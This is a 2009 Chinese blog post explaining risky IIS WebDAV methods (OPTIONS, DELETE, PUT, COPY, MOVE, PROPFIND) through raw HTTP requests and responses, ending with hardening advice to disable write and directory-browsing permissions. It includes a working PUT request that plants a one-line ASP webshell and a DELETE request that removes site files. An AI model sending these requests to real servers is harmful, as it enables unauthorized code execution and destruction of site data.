当前位置: 主页 > 日志 > 网络安全 >

小议IIS的特殊权限

// by redice 2009年7月24日
// redice@163.com
// http://www.redicecn.cn

背景:

     昨天我犯了一个严重的错误,在对某服务器上的几个网站做安全检测时,由于JSky的删除文件漏洞导致几个站点的文件
被删除了(我也是后来才意识到JSky的这个漏洞的)。我真的不是故意的,JSky怎么会有这么大的漏洞呢?那台服务器究竟是如何配置的,怎么如此的不堪一击?IIS究竟有哪些特殊权限呢?


关于JSky的删除文件漏洞:

   我是事后才在黑客基地看到了JSky的这个漏洞说明,部分如下:
“Jsky在扫描网站时,如果网站目录开启了写权限,在扫描时,jsky会尝试使用del来测试目录安全性,但在实际操作中,会删
除该网站的所有文件。”原文地址是:http://www.hackbase.com/tech/2009-07-16/53918.html

关于HTTP协议:

   Web浏览器和IIS之间的对话依赖于HTTP协议这是众所周知的(其它的Web服务器也是如此)。我们把浏览器发送给IIS的HTTP报文称为HTTP请求报文(以下简称请求报文),把IIS发送给浏览器的HTTP报文称为HTTP应答报文(以下简称应答
报文)。不光是Web浏览器,其实所有遵循HTTP协议的应用程序都能和IIS进行的交互(IIS是一个只能看懂HTTP报文的
人,Web浏览器扮演着一个翻译官的角色,它将用户的操作翻译成请求报文,告知IIS,然后将IIS的应答报文翻译成优美的网页展现给用户),例如我们完全可以通过Telnet远程连接IIS并发送请求报文。一个典型的HTTP请求报文如下:


GET /index.asp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
If-Modified-Since: Wed, 15 Jul 2009 08:38:34 GMT
If-None-Match: "f430e9a3275ca1:8d9"
Cache-Control: max-age=0



   上面是一个典型的请求报文,浏览器以GET的方式请求index.asp文件,就是请求IIS将index.asp的内容发回。IIS在接收到这个报文后会将index.asp进行解释执行(IIS会调用asp.dll对asp后缀的文件进行解释执行),然后将执行的结果以应答报文的形式发送给浏览器。
   我们重点关注一下上述请求报文的前两行。如下:


GET /index.asp HTTP/1.1
Host: localhost



GET – 是HTTP报文的方法(行为,动作),常见的还有POST。

说明: GET方式通常用于向服务器请求一个文件(例如文件下载),GET方式也可以向服务器提交数据,提交的数
据以QueryString的形式(形如 age=23&sex=0)在浏览器地址栏中出现(不适合发送隐私数据,例如,密码),并且提交
的数据不能大于1024字节。POST通常用以客户端向服务器发送表单数据(例如,上传文件),提交的数据不会在浏览器的
地址栏显示,并且提交数据的长度可以超过1024字节。


/index.asp – 是相对站点根目录的一个文件,文件名为index.asp ,这就是请求报文的行为对象。

HTTP/1.1 – 是HTTP协议的版本号。

HOST:localhost – 是主机头,如果IIS下有多个站点,IIS就是根据HOST字段来区别该请求时发送给哪个网站的。


小议IIS的特殊权限:

上面我们介绍说请求报文的方法最常见的是GET和POST,其实IIS还有很多特殊的行为,下面就根据我个人的理解介绍一下
(可能有偏差,请高手斧正)。

(1)OPTIONS 
OPTIONS 方法请求IIS回显IIS的权限设置,可以通过该方法判断服务器的权限设置(网管可以用来查看IIS是否开放了特殊的权限)。
下面做一个实验:
我们向iis发送如下报文(通过Telnet或HTTP报文发送工具):

OPTIONS / HTTP/1.1
Host: localhost


iis返回如下:


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 03:41:31 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK

Cache-Control: private



Allow字段之后所列的权限就是该IIS开放的权限,可以看到该IIS开放了写入权限,可以通过PUT方法写入文件,可以通过
DELETE方法删除文件,可以通过MOVE方法对文件进行重命名。
危险等级:★★

(2)DELETE 
DELETE 方法用于删除站点中指定的文件。如果IIS开放了“写入”权限,那么DELETE方法就会被接受。

下面做一个实验:我们通过DELETE方法删除相对站点根目录为/1.txt的文件,请求报文如下所示:


DELETE /1.txt HTTP/1.1
Host: localhost


应答报文如下(200响应码表示操作成功了):


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 03:49:24 GMT
Content-Length: 0



JSky在探测DELETE权限时,就是先发送DELETE报文然后根据应答报文来判断的。如果有DELETE权限,文件就被直接删除了。所以严格来说这也不能算是JSky的一个漏洞。


危险等级:★★★

(3)PUT 
PUT方法用于向站点内写入一个文件。如果IIS开放了“写入”权限,那么PUT方法就会被接受。

下面做一个实验,我们通过PUT方法向站点内写入一个asp一句话木马,请求报文如下:

PUT /help.txt HTTP/1.1
Host: 127.0.0.1
Content-Length: 26

<%eval(request("cmd"))%>

应答报文如下(201响应码表示操作成功了):


HTTP/1.1 201 Created
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 04:19:34 GMT
Location: http://127.0.0.1/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK



就这样一个马就被上传成功了。好危险啊!
通过实验还发现,最可恶的是,即便站点目录没有允许IIS匿名账户的NTFS写入权限,上述方法仍然能成功写入文件。除非你拒绝IIS匿名账户的NTFS写入权限。
危险等级:★★★★


(4)COPY ,MOVE 
COPY ,MOVE这两个命令通常用复制或移动(或重命名)文件。如果IIS开放了“写入”权限,那么COPY ,MOVE方法就会成功。

危险等级:★★★

(5)PROPFIND
PROPFIND方法 用于请求返回指定浏览目录内容。如果IIS开发了“目录浏览权限”,那么使用该方法就能返回站点指定目录下的文件列表。

危险等级:★★


如何关闭IIS的特殊权限:

通过实验发现,只要关闭了IIS的“写入”权限,就能阻止“DELETE,PUT ,MOVE ”这些危险的方法。
如下图所示:

 

我们再次通过OPTION方法探测一下IIS的权限,IIS应答报文如下所示:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Fri, 24 Jul 2009 04:33:35 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private



可以看到,关闭了“写入”权限后,“DELETE,PUT ,MOVE ”这些行为就不被允许了。注:COPY方法IIS默认就
允许,但是如果没有“写入”权限,COPY是不会成功的。只有关闭了IIS的“读取”权限,“COPY”方法才会被阻止,但是“读取”

权限是站点正常运行所必须的,因此不能关闭该权限。


另外关闭了IIS的“目录浏览”权限后,PROPFIND方法就无法获取到站点目录下的文件列表。如下图所示:



总结:

(1)    IIS切勿开放“写入”和“目录浏览”权限,否则后患无穷。
(2)    使用JSky做安全检测的时候,最好关闭“DELETE权限检测”。
(3)    出问题后寻找问题出现的原因很重要。


PS:

想了解更多关于HTTP协议的内容,请查阅RFC 2616 (Hypertext Transfer Protocol -- HTTP/1.1)。本文后附RFC 2616的
中文版文档。

File: Click to Download

小兵的“IIS写权限利用工具”用来研究HTTP协议不错,推荐一下(毕竟是GUI工具,比Telnet易用)。本文后附该工具。

File: Click to Download

[日志信息]

该日志于 2009-07-24 13:25 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “小议IIS的特殊权限” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!!    (尊重他人劳动,你我共同努力)
   
验证(必填):   点击我更换验证码

redice's Blog  is powered by DedeCms |  Theme by Monkeii.Lee |  网站地图 |  本服务器由西安鲲之鹏网络信息技术有限公司友情提供

返回顶部